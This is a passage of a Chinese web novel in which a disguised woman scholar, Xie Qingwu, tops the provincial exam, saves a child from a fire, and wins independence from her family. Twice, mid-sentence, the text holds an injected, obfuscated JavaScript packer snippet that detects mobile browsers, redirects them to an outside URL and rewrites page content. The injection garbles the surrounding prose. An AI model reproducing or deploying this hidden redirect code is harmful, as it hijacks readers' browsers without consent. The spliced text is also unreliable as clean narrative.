虽然委婉,虽然只是就事论事,但确实是说了。 她关上窗,躺下。 明天还有院试。但今晚,她睡得比往常踏实。 因为知道,自己写的文章,说的话,或许真的能改变点什么。 哪怕只是一点点。 11. 院试 院试设在江州府省城。 谢青梧站在考棚外时,天还没亮透。初秋的晨风带着凉意,她将考篮挎在臂弯,随着人流缓缓向前挪动。不同于县试、府试,院试由学政大人亲自主持,三年两考,过了这一关,才算真正有了“秀才”功名。 “怀瑾兄!” 周子砚从后面追上来,额头上冒着细汗,“方才在客栈找你不见,还以为你先来了。” “子砚。”谢青梧微笑,“昨夜睡得可好?” “哪里睡得好。”周子砚压低声音,“我听人说,这次院试的陈大人,是出了名的古板。你那篇府试文章里提了女子织造,我怕……” “文章既已写了,便不后悔。”谢青梧平静道,“况且陈大人再古板,总要看文章本身是否言之有物。” 周子砚叹了口气,还想说什么,考棚的门开了。 搜检比前两次更严。衙役将考篮里的每块饼都掰开看,笔杆要对着光检查,连砚台底部都摸了一遍。轮到谢青梧时,那衙役多看了她两眼,府试案首的名头,这几日已在省城传开了。 “进去吧。” 考棚内是一排排低矮的号舍,每间仅容一人。谢青梧找到自己的“辰字十七号”,放下考篮,先打量环境。号板有些潮,她取出准备好的油布铺上,又将笔墨纸砚一一摆开。 晨钟敲响,考题发下。 谢青梧展开卷纸,目光落在第一道四书题上:“子曰:惟女子与小人为难养也。”她指尖一顿。 这道题选得刁钻。 若是寻常考生,多半要顺着夫子的话阐发,论述女子为何“难养”。但她不能,不是不愿,而是骨子里那股逆反在翻涌。可若公然反驳,便是离经叛道,别说中秀才,恐怕当场就要被逐出考场。 她闭上眼,深吸一口气。 再睁眼时,目光已恢复清明。不能硬碰硬,便曲笔藏锋。她提笔蘸墨,在草稿纸上写下破题:“夫子言女子难养,非轻女子也,乃叹教化之未周、礼法之待善也。” 将矛头从女子本身,转向了教化与礼法。 正文徐徐展开。她引《诗经》中的贤女,引史书中的才女,最后落笔:“故女子非天生难养,世无善养之法耳。若使女子皆得明理、皆能自立,何难养之有?” 写完这道,手心已沁出薄汗。 第二道是策论,题目更让她心头一震:“论星火燎原”。 这题目看似简单,却暗藏玄机。谢青梧盯着那四个字,忽然想起离府城前,林疏影红着眼睛说的那句话:“谢公子,您就像一点火星子……可我们这些女子,连做柴薪的资格都没有。” 她提起笔。 这一次,她没再掩饰。 “星火之微,可耀暗室;燎原之势,始于寸芒。”开篇定调,接着笔锋一转,“然世人只见燎原之焰,不见初燃之艰。今有微光数点,或困于疾风,或没于暴雨,何以成势?曰:不独燃,薪柴相续也。” 她写市井中识字的妇人教邻居孩童认字,写江南织坊里女工自发互帮,写那些微小如尘、却实实在在发生着的联结。 “故欲星火燎原,非独火星之烈,更在薪柴之众、风势之顺。今有微光已现,当护之、助之、广之,使点点相连,终成……” 最后一个字还没落下,外头突然响起惊呼。 “走水了!” 谢青梧猛地抬头,只见东侧号舍方向冒起浓烟。考棚顿时乱作一团,有考生惊慌失措往外跑,衙役厉声喝止,却压不住恐慌蔓延。 她迅速收好试卷,塞进考篮,正要起身查看,却听见烟里传来孩子的哭声。 ——是那个跟着父亲来应试的少年!她记得那孩子不过十二三岁,坐在“寅字三号”。 来不及多想,她撕下内袍一角,从水囊里倒水浸湿,捂住口鼻就朝浓烟处冲去。 “怀瑾!”周子砚在身后喊。 烟雾越来越浓。谢青梧眯着眼,勉强辨认方向。寅字号舍就在前面,火是从隔壁烧起来的,木制的隔板噼啪作响,那孩子蜷在号舍角落,吓得不会动了。 “出来!”她伸手去拉。 孩子浑身发抖,被她硬拽出来时,一根烧断的横梁正砸在刚才的位置。 谢青梧护着孩子往外退,湿布捂在两人脸上。刚退到安全处,救火的水龙队就冲了进来。场面混乱不堪,学政陈大人在外面气得脸色铁青。 火势很快被控制住,只烧了两间号舍。但那孩子受了惊吓,一直哭,他父亲赶过来,对着谢青梧就要跪。 “不必。”她扶住对方,声音被烟熏得有些哑,“快带孩子去看大夫。” 这场意外打断了考试。所有考生被暂时疏散到明伦堂,学政沉着脸去查起火原因。谢青梧坐在廊下,周子砚递过来一杯水。 “你真是……”周子砚摇头,“万一出事怎么办?” “总不能看着。”她接过水喝了一口,喉咙火辣辣的疼。 半个时辰后,学政回来了,宣布考试继续。但起火的那排号舍不能用了,相关考生被分配到其他空位。谢青梧回到自己号舍时,发现试卷已被妥善收好,连砚台里的墨都没洒。 她顿了顿,抬眼看向远处,陈大人正背着手巡视,目光扫过她时,微微停顿了一瞬。 考试在午后结束。 谢青梧交卷时,手还有些抖,不是怕,是那股劲儿松下来后的虚脱。走出考棚,秋阳正好,她眯了眯眼,却见一道熟悉的身影立在柏树下。 顾临渊。 他今日穿了身竹青直裰,比上次见面少了些凌厉,多了几分书卷气。见她出来,他主动走上前。 “谢公子。”顾临渊拱手,“方才火起时,我就在隔壁考区。” 谢青梧回礼:“顾公子也来应试?” “家父要求,来走个过场。”顾临渊说得随意,目光却落在她袖口的焦痕上,“你冲进去救人时,很多人都看见了。” 这话听不出褒贬。谢青梧只淡淡道:“碰巧离得近。” 顾临渊沉默片刻,忽然转了话题:“林疏影家的案子,有进展了。” 谢青梧抬眼。 “府衙昨日开审,她那位族叔拿出的遗嘱是伪造的。”顾临渊声音压低,“笔迹不对,印章也是私刻的。只是对方咬死不认,说林姑娘一介女流,不懂经营,家产交给她迟早败光。” “然后?” “然后林姑娘当堂拿出近三年的账本。”顾临渊眼里闪过一抹奇异的光,“一笔一笔,清清楚楚。还说出三家铺子未来半年的经营打算,连可能遇到的风险和应对之法都列好了,主审的刘推官都听愣了。” 谢青梧唇角微扬。那几日她与林疏影长谈,教的就是这些:女子守业,光哭诉委屈没用,得拿出实打实的能力。 “案子判了?”她问。 “判了。家产归还林疏影,族叔杖三十,罚银五百两。”顾临渊看着她,“刘推官还当堂说了句话,‘女子若皆如林氏,何愁家业不兴?’” 这话从一个五品推官嘴里说出来,分量不轻。 谢青梧点点头:“多谢顾公子告知。” “不是我告知。”顾临渊忽然道,“是刘推官让我带话给你,他说,你那日在宴会上说的话,他回去想了许久。” 谢青梧一怔。 顾临渊的目光在她脸上停留片刻,像在探究什么,最后却只是笑笑:“谢怀瑾,你这个人……很有意思。” 他说完便走了,留下谢青梧站在原处。 周子砚凑过来,小声问:“顾临渊跟你说什么了?他刚才那语气,怪怪的。” “没什么。”谢青梧收回目光,“只是突然觉得,有些话说了,或许真有人会听进去。” 三日后放榜。 谢青梧没去挤,在客栈等消息。周子砚一早就跑出去了,晌午时分,外头锣鼓声由远及近,一路敲到客栈门口。 “中了!谢公子中了!” 周子砚冲进来,脸涨得通红,“案首!又是案首!小三元!” 客栈里顿时哗然。不少考生围过来道贺,谢青梧一一还礼,神色却平静。只有她自己知道,袖中的手在微微发颤。 连中三元,县、府、院三试皆第一。这在江州府已是多少年未有的事。 然而道贺声里,也夹杂着低语。 “听说他那篇‘星火燎原’,写得颇为激进……” “学政陈大人竟点了案首?” “你不知?那日考场起火,他冲进去救了个孩子。陈大人最重德行,许是因此加了分。” 正说着,客栈外又来了人。这次是官差打扮,为首的是个面生的文书。 “哪位是谢怀瑾谢公子?” 谢青梧上前:“在下便是。” 文书递上一封帖子:“学政陈大人明日午时在望江楼设宴,宴请本届前十名学子,请谢公子务必到场。” 帖子是暗纹绢面,字迹工整。谢青梧接过,心头却微微一沉,这宴,恐怕不只是庆贺那么简单。 送走官差,周子砚凑过来看帖子,喜道:“陈大人亲自设宴,这是看重你啊!” 谢青梧却摇头:“子砚,你记不记得陈大人出那道‘惟女子与小人为难养也’的考题?” 周子砚一愣。 “他选这题,必是想看学子如何作答。”谢青梧轻声道,“我虽曲笔写了,但细读之下,仍是离经叛道。他点我为案首,又设宴相请……” 恐怕是要亲自探她的底。 当夜,谢青梧坐在灯下,将那篇“星火燎原”的草稿又看了一遍。字字句句,都是她想说的话——或许太直白了。 她提起笔,想改几个字,最终却放下了。 窗外月色正好,远处隐约有丝竹声飘来,大约是哪个秦楼楚馆在宴客。她忽然想起那日茶棚里,一个女子弹的那曲《折杨柳》。 那个女子说:“公子这双眼睛,看得太透了。” 或许是吧。 但她既已走到这一步,便没有回头路。明日之宴,是试探,也是机会。 她吹熄灯,和衣躺下。黑暗中,手指无意识抚过束胸的布带,这东西已成了她身体的一部分,有时候连她自己都恍惚,究竟哪个才是真正的谢青梧。 次日赴宴前,林疏影来了。 她穿着素色衣裙,发间只簪了朵白玉兰,身后跟着个丫鬟,手里捧着个锦盒。 “怀瑾公子。”林疏影郑重一礼,“案子结了,家产已拿回大半。这份恩情,疏影铭记于心。” 谢青梧扶她起来:“林姑娘不必如此。” 林疏影打开锦盒,里面是几张银票和一本账册:“这些银子,是我的一点心意。账册上是我名下三间铺子的干股,公子若看得上,每年可分红利。” 谢青梧推辞不受。 林疏影却坚持:“公子别误会,这不是报恩。”她抬眼,目光清亮,“那日您说,女子若想站稳脚跟,需有钱、有人、有路。钱我能挣,人我在寻,可这条路,我想跟着公子走。” 谢青梧一怔。 “我知道公子志不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946677|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商贾。”林疏影声音很轻,却坚定,“但公子往前走,总需要银钱打点,需要消息灵通。这些,我能帮上忙。” 秋风穿堂而过,卷起林疏影的衣袖。这个半个月前还哭得六神无主的女子,此刻眼神里已有了不一样的光。 谢青梧沉默良久,最终接过账册,却将银票推回去:“铺子的红利,我收下。这些银子,林姑娘留着扩大经营。” 她顿了顿:“至于路……我们一起走。” 望江楼临江而建,三层飞檐。 谢青梧到的时候,已有七八个学子在了。都是本届前十,个个意气风发。见她进来,众人神色各异——羡慕有之,嫉妒有之,探究亦有之。 学政陈大人还没到,众人便先寒暄。一个圆脸学子凑过来:“怀瑾兄那篇‘星火燎原’,写得真妙!我听说陈大人批阅时,在旁连写了三个‘善’字。” 另一个瘦高个却笑道:“文章是好,只是……星火若真燎原,烧的可是旧柴啊。” 这话里有话。谢青梧只当没听出来,淡淡应道:“新旧更替,本是天道。” 正说着,楼梯处传来脚步声。 陈学政年约五十,面容清癯,三缕长须,一身藏青常服。他缓步上来,目光扫过众人,在谢青梧身上多停了一瞬。 “都坐吧。” 宴席开场,无非是勉励学子、谈论文章。酒过三巡,陈学政果然将话头引到了考题上。 “怀瑾。”他唤谢青梧的表字,语气温和,“你那篇‘惟女子与小人为难养也’,破题破得巧。只是老夫有一问,若真依你所言,使女子皆得明理、皆能自立,这家国纲常,又当如何?” 满桌寂静。 所有人都看向谢青梧。 她放下酒杯,起身一礼:“回大人,学生以为,家国纲常,首在‘序’字。然序非固死,当随世而易。古时女子不出闺阁,是因农耕之世,男耕女织各司其职。今商贸日盛,江南织坊里女工数以万计,若仍以旧规束之,恐违天道。” “哦?何为天道?” “天道酬勤,酬能,酬善。”谢青梧声音清晰,“女子若能织锦缎、能理账目、能育英才,便是对家国有功。有功者当得善待,此方为顺天应人。” 陈学政捻须不语。 良久,他才缓缓道:“你可知此言一出,会招来多少非议?” “学生知道。”谢青梧垂眸,“但若人人皆因怕非议而不敢言,世道便永不会变。” 陈学政盯着她看了许久,忽然笑了:“好一个‘永不会变’。”他举杯,“今日宴饮,只论文章,不论其他。来,满饮此杯。” 宴席后半段,气氛松快了些。陈学政再没提敏感话题,只与学子们谈诗论赋。散席时,他却独独留下谢青梧。 “怀瑾,随我来。” 两人登上望江楼顶层。凭栏远眺,江水滔滔,远处帆影点点。 “今日留你,是有句话要交代。”陈学政背对着她,声音随江风飘来,“你很有才,也有胆识。但木秀于林,风必摧之。” 谢青梧躬身:“学生谨记。” “记不够,得做。”陈学政转身,目光如炬,“你既写了‘星火燎原’,便该知道,星火若要成势,需先保住自身。过早燃尽,不过一缕青烟。” 这话说得重。谢青梧心头凛然:“学生明白。” “明白就好。”陈学政语气缓和下来,“你既连中三元,按例可入府学深造。明年秋闱,若再中举,便可进京赴会试。这条路……很长。” 他说完,挥挥手:“去吧。” 谢青梧深施一礼,转身下楼。走到楼梯拐角时,听见陈学政低声自语,随江风飘来半句: “……这世道,或许真该变变了。” 她脚步微顿,没有回头。 走出望江楼时,夕阳正沉。江面被染成金红,渡口归舟往来,渔歌隐约。 周子砚在楼下等她,见她出来,忙迎上来:“陈大人没为难你吧?” “没有。”谢青梧摇头,“只是提点了几句。” 两人沿着江堤慢慢走。周子砚说起明日回程的安排,谢青梧静静听着,目光却落在江边洗衣的妇人身上,她们蹲在石板上,抡着棒槌,一下一下,捶打着浸透的衣物。 “子砚。”她忽然开口,“你说这些妇人里,可有识字的?” 周子砚一愣:“这……怕是没有吧。” “若她们识字,会不会也能写出‘星火燎原’那样的文章?” 周子砚答不上来。 谢青梧却笑了笑,不再追问。有些问题,本就不需要答案。 回到客栈,她推开窗。夜幕初降,远处灯火渐次亮起,像散落的星子。 桌上放着林疏影送的账册,还有陈学政宴请的帖子。这两样东西摆在一起,莫名有种象征意味,一条是实实在在的路,一条是云遮雾罩的前程。 她提起笔,在纸上写下一行字: 星火已燃,当护之,广之。 墨迹未干,窗外忽然飘进一片梧桐叶,正落在纸上。 谢青梧拾起叶子,对着灯光看。叶脉清晰,像掌纹,也像某种未画完的地图。 她将叶子夹进书页,吹熄了灯。 黑暗中,远处更鼓声隐约传来。三更了。 明日便要启程回乡,而后是更远的京城。这条路的确很长,但—— 她闭上眼,耳边又响起林疏影那句“我们一起走”,还有陈学政那声叹息。 或许,她从来都不是一个人。 12. 荣归 谢青梧回县城那日,正是重阳。 秋阳暖融融地照在青石板路上,车马刚进城门,就听见噼里啪啦的爆竹声。周子砚探头往外看,惊道:“这……这都是来迎你的?” 街两旁聚了不少人,有县学的同窗,有街坊邻居,甚至还有几个面生的商户。打头的是李庸,一身簇新绸衫,笑得见牙不见眼。 “怀瑾啊!”李庸快步迎上来,“你可给咱们县挣了大脸面!小三元,江州府多少年没出过了!” 谢青梧下车行礼:“山长。” “别客气别客气。”李庸扶住她,声音激动得发颤,“陈大人派人送了喜报来,知县大人亲自接的。你猜怎么着?县里要给你立碑!” 立碑?谢青梧眉头微蹙。 “就在县学门口,刻‘连中三元’四个大字。”李庸说得眉飞色舞,“往后咱们县学的学子,都得先拜你的碑再进门!” 这话听着别扭。周子砚在一旁轻咳一声:“山长,怀瑾兄一路劳顿,不如先让他回家歇息?” “对对对,是该回家。”李庸这才让开路,却又压低声音,“怀瑾,你父亲前几日来找过我,说是……要给你说亲。” 谢青梧脚步一顿。 “县里张员外家的千金,年方十五,模样性情都好。”李庸搓着手,“你如今有功名在身,也该考虑成家立业了。” 秋风忽然有些凉。谢青梧垂眸:“多谢山长好意,只是学生志在科举,暂无成家之念。” “这怎么行!”李庸急了,“你父亲说了,成了亲才好安心读书,家里也有人照顾……” “山长。”谢青梧抬眼,声音平静,“学生想先回家。” 她行礼告辞,转身时袖中的手微微收紧。周子砚追上来,欲言又止。 “子砚,你先回吧。”谢青梧道,“家里的事,我自己处理。” 周家马车驶远了。谢青梧站在街口,看着自家那扇熟悉的黑漆木门——门前也挂了红绸,却透着一股刻意。 推门进去,院子里站满了人。 谢父坐在上首,嫡母王氏陪在一旁,嫡兄谢明远抱着手臂靠在廊柱上,嘴角噙着似笑非笑的弧度。还有几个族里的叔伯,都是平日不太走动的关系。 “怀瑾回来了。”谢父开口,语气是少有的温和,“快过来。” 谢青梧上前行礼:“父亲,母亲。” 王氏脸上堆着笑,眼里却没什么温度:“这孩子,瘦了。在外头吃苦了吧?” “还好。”谢青梧应得简短。 谢明远这时走过来,拍了拍她的肩:“二弟如今可是名动江州了。连陈大人都亲自设宴,这面子,咱们谢家祖上都没挣来过。” 他手劲不小,拍得谢青梧肩胛生疼。她不动声色地侧身避开:“兄长过誉。” “不过誉不过誉。”谢父难得地笑出声,“青梧啊,你这次给家里长了脸。为父想了想,你既有了功名,就不能再住西厢那小屋子了。东院那间书房给你腾出来,往后专心读书。” 这话一出,几个族叔纷纷附和。 “还是二哥想得周到。” “怀瑾这孩子有出息,是该好好栽培。” “说不定明年秋闱再中个举人,咱们谢家就真兴旺了。” 一片称赞声里,谢青梧却听得心头发冷。她太了解这个家了,突如其来的优待,背后必有图谋。 果然,寒暄过后,谢父清了清嗓子:“青梧,你如今是秀才,按例可免五十亩田赋。咱们家在城郊有八十亩地,正好……” “父亲。”谢青梧打断他,“免赋的田亩,需登记在本人名下。” 堂屋里静了一瞬。 谢父脸色微僵:“你这话什么意思?家里的地,登记在谁名下不都一样?” “不一样。”谢青梧声音很轻,却清晰,“律法有定:功名所免赋税,只限本人及直系亲属田产。若登记在家产总册,免赋数额需按房头均分。” 她顿了顿:“咱们家三房,大伯、父亲、三叔。若八十亩全记在家产册上,免赋的五十亩,需分三份。而若记在我个人名下……” “胡闹!”一个族叔拍案而起,“哪有分家单过的道理!你才多大?” 谢明远也冷笑:“二弟这是翅膀硬了,想飞?” 王氏在一旁抹泪:“怀瑾,你父亲养你这么大,容易吗?如今刚有点出息,就要撇开家里……” 一时间,指责声、劝诫声、叹息声混作一团。 谢青梧静静站着,等他们说完,才开口:“父亲误会了。儿子并非要分家,只是想着,若田产记在我名下,免赋额度全用上,每年能省下二十两税银。这银子,可以贴补家用。” 二十两。谢父眼神动了动。 “况且,”谢青梧继续说,“明年秋闱,儿子要去省城乡试。若中了举,免赋额可达两百亩。到时家里再添置田产,都能省下税银。” 这话像块石头扔进池塘,激起层层涟漪。 两百亩的免赋额!几个族叔眼睛都亮了。谢父捻着胡须,沉吟不语。 谢明远却嗤笑:“你说中举就中举?真当科举是儿戏?” “兄长说得是。”谢青梧垂眸,“所以儿子才想专心读书。东院书房虽好,但离街市近,难免嘈杂。儿子想……搬出去住。” “什么?”王氏尖声。 “母亲别急。”谢青梧语气温和,“儿子不是要远走。就在城西租个小院,清净,也方便去县学。每月束脩、开销,儿子自己承担。” 她抬眼,看向谢父:“只是租院、备考都需要银钱。儿子想,可否将未来三年该分给我的那份家产……提前支取?” 堂屋里彻底安静了。 谢家不是什么大户,田产铺子加起来,三房均分,每房一年也就五六十两进项。谢青梧作为庶子,能分到的本就少得可怜——按惯例,成家前每月二两月例,成家后分家,再得二三十两安家费。 她现在要的,是提前把这笔钱拿走。 “你要多少?”谢父沉声问。 “一百两。” “一百两?!”王氏尖叫,“你当家里开银铺的?” 谢青梧不答,只看着谢父。 她在赌。赌谢父算得清这笔账,一个秀才每年省二十两税银,一个举人省上百两。更重要的,是谢家从此有了官身庇护,做生意、置田产都有便利。 这一百两,是投资。 果然,谢父沉默了许久,缓缓道:“你要立字据。” “自然。”谢青梧道,“儿子可以立契:支取一百两后,三年内若中举,免赋额优先用于家中田产;若不中……这笔钱算儿子借的,三年后连本带利归还。” 条件开得公道。几个族叔互相看看,都点了头。 谢明远还想说什么,被谢父一个眼神制止。 “好。”谢父起身,“明日请族长和县学李先生作证,立契。” 尘埃落定。 谢青梧退出堂屋时,夕阳正斜。她穿过院子,西厢那间小屋门开着,里面还是离时的模样,一床一桌一柜,简陋得像个客房。 她没进去,转身去了祠堂。 谢家祠堂不大,供着三代祖先的牌位。香烟袅袅,她跪在蒲团上,看着最下面那个空位——那是留给她生母的。一个妾室,生前没资格进祠堂,死后也只能在角落设个香案。 “母亲。”她轻声说,“我要走了。” 香火明明灭灭,无人应答。 夜里,谢青梧收拾行囊。其实没什么可收拾的,几件衣裳,几本书,一方砚台。她把那本夹着梧桐叶的书册仔细包好,放进最底层。 窗棂忽然轻响。 她警觉地回头,却见周子砚猫着腰翻进来,手里提着个食盒。 “你怎么……”谢青梧失笑。 “翻墙进来的。”周子砚抹了把汗,压低声音,“你家里那阵势,我走正门肯定被拦。”他打开食盒,里头是热腾腾的桂花糕和鸡汤,“我娘让送的,说你回来肯定吃不上口热饭。” 谢青梧心头一暖。 两人在窗边坐下,就着月光吃糕。周子砚啃了两口,忽然问:“你真要搬出去?” “嗯。” “那一百两……你真有把握?” 谢青梧笑了笑,从怀里掏出个小荷包,倒出几张银票:“林疏影给的铺子红利,加上府试、院试的赏银,我手里有六十两。租个小院,一年不过十两,剩下的足够用到明年秋闱。” 周子砚瞪大眼:“你早算好了?” “不算好,怎么敢开口。”谢青梧抿了口鸡汤,“我那位父亲,最重实利。给他画张大饼,再拿出真金白银,他才肯放人。” “可万一秋闱不中……” “那就真得还钱了。”谢青梧语气轻松,“不过子砚,你觉得我会不中吗?” 月光下,她眼里有光。周子砚看了她一会儿,忽然也笑了:“不会。你肯定中。” 两人又说了会儿话,周子砚才翻墙离开。谢青梧关好窗,躺回床上,却睡不着。 明日立契,后日找房,大后日就能搬出去。一切顺利得有些不真实。 她翻了个身,手指无意间碰到束胸的布带——这东西,终于可以在自己的小院里放心解开了。 第二日立契,族长和李庸都来了。 契书写得明白:谢青梧支取一百两,三年内若中举,免赋额归家族使用;若不中,三年后归还一百二十两。此外,谢青梧搬出独住,家中不得干涉其读书、交往、前程。 谢父签字画押时,手有些抖。谢青梧接过笔,字迹工整平稳。 银票交接,一张五十两,两张二十两, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946678|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有十两碎银。谢青梧仔细收好,向众人行礼。 李庸拍拍她的肩,眼神复杂:“怀瑾,好生读书。” “学生谨记。” 出了谢家大门,阳光刺眼。谢青梧眯了眯眼,深深吸了口气,空气,似乎都比往日清新。 她没急着找房,先去了趟县衙。 户房的书吏认得她,听说她要单独立户,有些惊讶:“谢公子,你这……还没成家,就要分户?” “是。”谢青梧递上契书副本,“已与家中立约,独立居住。按律,有功名者可以立户。” 书吏仔细看了契书,又查验了她的秀才文书,这才点头:“倒是合乎律法。只是单独立户,需有固定居所。” “学生正在寻找,三日内定下。” “那行。”书吏提笔记录,“先给你登记,等找到房再来办户籍。” 从县衙出来,已是午后。谢青梧在城西转了转,很快看中一个小院,一进院子,三间房,院里有棵老槐树,位置僻静,离县学也不算远。 房东是个老秀才,听说她是本届小三元,房租直接减了三成。 “房子租给你,沾沾文气。”老秀才笑呵呵的,“说不定我孙子将来也能中个秀才。” 谢青梧付了半年租金,拿到钥匙。推开院门时,槐叶正落,簌簌地铺了一地金黄。 她站在院子里,忽然笑了。 这是她的地方。不用再小心翼翼,不用再看人脸色,不用再担心夜里说梦话泄露秘密。 她开始收拾屋子。正房做书房,东厢住人,西厢当厨房。忙到傍晚,才勉强有个模样。正要生火做饭,院门被敲响了。 开门一看,是个面生的姑娘。 十七八岁年纪,一身粗布衣裙,头发用木簪绾着,背上背着个包袱。眉眼英气,但脸色苍白,左臂衣袖渗着血。 “请问……”姑娘声音虚弱,“是谢怀瑾谢公子吗?” “我是。”谢青梧警惕地看着她,“姑娘是?” “我姓慕容,单名一个芷。”姑娘扶住门框,身子晃了晃,“林疏影林姑娘让我来的。她说……您这儿缺个护院。” 话音未落,人已向前栽倒。 谢青梧急忙扶住,入手一片湿热,血已经浸透衣袖。她将人半扶半抱弄进屋,放在床上,剪开衣袖一看,倒抽一口凉气。 刀伤,从肩头划到肘弯,皮肉外翻。看伤口颜色,已有一天以上,边缘开始红肿。 她定定神,翻出金疮药—,又打来清水,一点一点清洗伤口。 慕容芷在昏迷中蹙眉,却没醒。 上药,包扎,换下血衣。等忙完这些,天已经黑透。谢青梧坐在床边,借着油灯打量这个不速之客。 手指有茧,虎口尤其厚,是常年握刀剑的手。呼吸平稳后,能看出身怀武功。这样一个女子,怎么会受这么重的伤?林疏影又为什么让她来? 太多疑问。但此刻,救人要紧。 谢青梧熬了粥,一勺勺喂下去。半夜时分,慕容芷终于醒了。 她睁眼的瞬间,眼神锐利如刀,下意识去摸腰间——空的。 “你的刀在桌上。”谢青梧坐在床边,手里端着药碗,“放心,我没动。” 慕容芷盯着她看了几秒,这才松懈下来:“谢公子?” “是我。”谢青梧把药递过去,“先把药喝了。” 慕容芷接过碗,一饮而尽,眉头都没皱一下。喝完药,她挣扎着要起身行礼,被谢青梧按住。 “躺着吧。”谢青梧问,“林姑娘让你来的?” “是。”慕容芷声音沙哑,“我欠林姑娘一条命。她说您身边需要个可靠的人,我就来了。” “你这伤……” “仇家追杀的。”慕容芷说得干脆,“不过公子放心,尾巴已经清理干净,不会连累您。” 谢青梧沉默片刻:“你会什么?” “武功尚可,能护您周全。识字,会算账,能驾车马。”慕容芷顿了顿,“只要您收留,我这条命就是您的。” 话说得决绝。谢青梧看着她苍白的脸,忽然想起那日考场大火里,自己冲进去救人的心情。 “先养伤。”她起身,“伤好了再说。” “公子!”慕容芷急声道,“您若不放心,我可以立死契……” “不用。”谢青梧回头,“我这里不兴这个。你伤好之后,若还想留下,咱们再谈工钱和去留。” 她吹熄油灯,掩门出去。 院子里月光如水。谢青梧站在槐树下,抬头看天,明天该是个好天气。 屋里传来压抑的咳嗽声,很快又静下去。 谢青梧想起契书上那行字:“不得干涉其读书、交往、前程。” 现在,她有了自己的院子,有了独立的户籍,马上还会有一个护卫。 13. 赴京路 慕容芷的伤好得很快。 不过七八日,那道狰狞的刀口就结了痂。她坚持要干活,谢青梧拗不过,便让她做些轻省事,打扫院子,煮饭烧水。两人话都不多,但莫名有种默契。 这日清早,谢青梧在院中读书,慕容芷在井边洗衣。水声哗哗,伴着翻书声,竟有几分岁月静好的味道。 “公子。”慕容芷忽然开口,手里搓着衣裳,眼睛却没抬,“林姑娘让我带句话。” “什么话?” “她说,京城的铺子已经看好了,等您去。” 谢青梧放下书册。林疏影动作比她想的快,这才多久,连京城的路都铺上了。 “她还说了什么?” 慕容芷顿了顿:“她说,京城不比江州,水浑,鱼多,让您小心。” 这话里有话。谢青梧正要细问,院门被敲响了。 来的是周子砚,一脸急色,额头上都是汗。 “谢兄,出事了。”他喘着气,“你听说了吗?县学要推举明年进京赶考的学子,名单里……没有你。” 谢青梧一怔。 县学每年都会推举几名优秀学子,由县里资助路费进京。虽说她自己不缺银子,但这推举本身是一种认可,也是将来会试时的一个资历。 “为什么?”她问。 周子砚压低声:“我爹打听来的。说是有人递了话,说你年纪太轻,又是小三元,该再磨炼几年。还说你文章里……思想不够端正。” 思想不够端正。谢青梧笑了。 这话说得含蓄,意思却明白——她那篇“星火燎原”,终究还是被人记下了。 “谁递的话?” “说是府城那边传来的。”周子砚急道,“我爹让我告诉你,早做打算。若县学不推举,你要进京,就得自己找保人,办手续也麻烦些。” 谢青梧点点头:“多谢周伯父。我知道了。” 周子砚看着她平静的脸,更急了:“你就这个反应?这可是有人故意压你!” “我知道。”谢青梧起身,走到槐树下,“子砚,你觉得是谁在压我?” “还能有谁?肯定是……”周子砚话到嘴边,又咽回去。 谢青梧替他说了:“是我那位嫡兄,谢明远。” 周子砚不吭声了。 谢明远在府城读书,虽没考出什么功名,但结交了不少人。他要递句话给县学,不是什么难事。 “他为什么要这么做?”周子砚不解,“你中了秀才,家里不是也跟着沾光吗?” “光沾了,怕我飞太高。”谢青梧淡淡道,“他压我这一次,若我真去不成京城,或者去了考不中,那就还是谢家那个庶子。若我硬要去,自己想办法,他也能看我笑话。” 周子砚气得跺脚:“这也太……” “无妨。”谢青梧看向慕容芷,“阿芷,你去西街刘记车马行,问一问包车去京城要多少银子。” 慕容芷应声去了,背影利落。 周子砚看着她走远,这才低声问:“这姑娘什么来历?看着不像普通人家出来的。” “林疏影荐来的,会武功。”谢青梧简短道,“我正缺个护院。” 周子砚还想再问,院门又被敲响。 这次来的人,让两人都愣了愣。 顾临渊站在门外,一身月白锦袍,手里拿着马鞭,风尘仆仆的样子。他身后还跟着个小厮,牵着两匹马。 “谢公子,周公子。”他颔首,“冒昧来访。” 谢青梧回过神,将人请进来。 顾临渊进院,目光在院子里扫了一圈,最后落在慕容芷刚才洗衣的木盆--盆边搭着件粗布外衫,袖口有血迹没洗干净。 他眉头几不可察地皱了皱,却没问。 “顾公子怎么来了?”谢青梧请他坐下。 “路过。”顾临渊接过她递的茶,抿了一口,“家父让我去江南办点事,回程路过江州,想起你在这,便来瞧瞧。” 这话说得轻巧,但江州和江南可不顺路。谢青梧心里明白,也不戳破。 周子砚很有眼色地起身告辞。院子里只剩下两人。 “听说你搬出来了?”顾临渊问。 “是。清净些。” “也好。”顾临渊放下茶杯,“你那篇‘星火燎原’,陈学政回京后提过几次。” 谢青梧抬眸:“陈大人怎么说?” “他说……”顾临渊看着她,“你这把火,烧得太早了。” 意料之中的评价。谢青梧笑了笑:“那顾公子觉得呢?” 顾临渊沉默片刻:“我觉得,火既然点了,就该让它烧下去。只是要小心风向,别燎了自己。” 这话说得坦诚。谢青梧有些意外。 “你不觉得我离经叛道?”她问。 “离经叛道的人,我见过不少。”顾临渊语气平静,“但大多是为了标新立异,或者心怀怨愤。你不一样。” 他顿了顿:“你是真的觉得,这世道该变一变。” 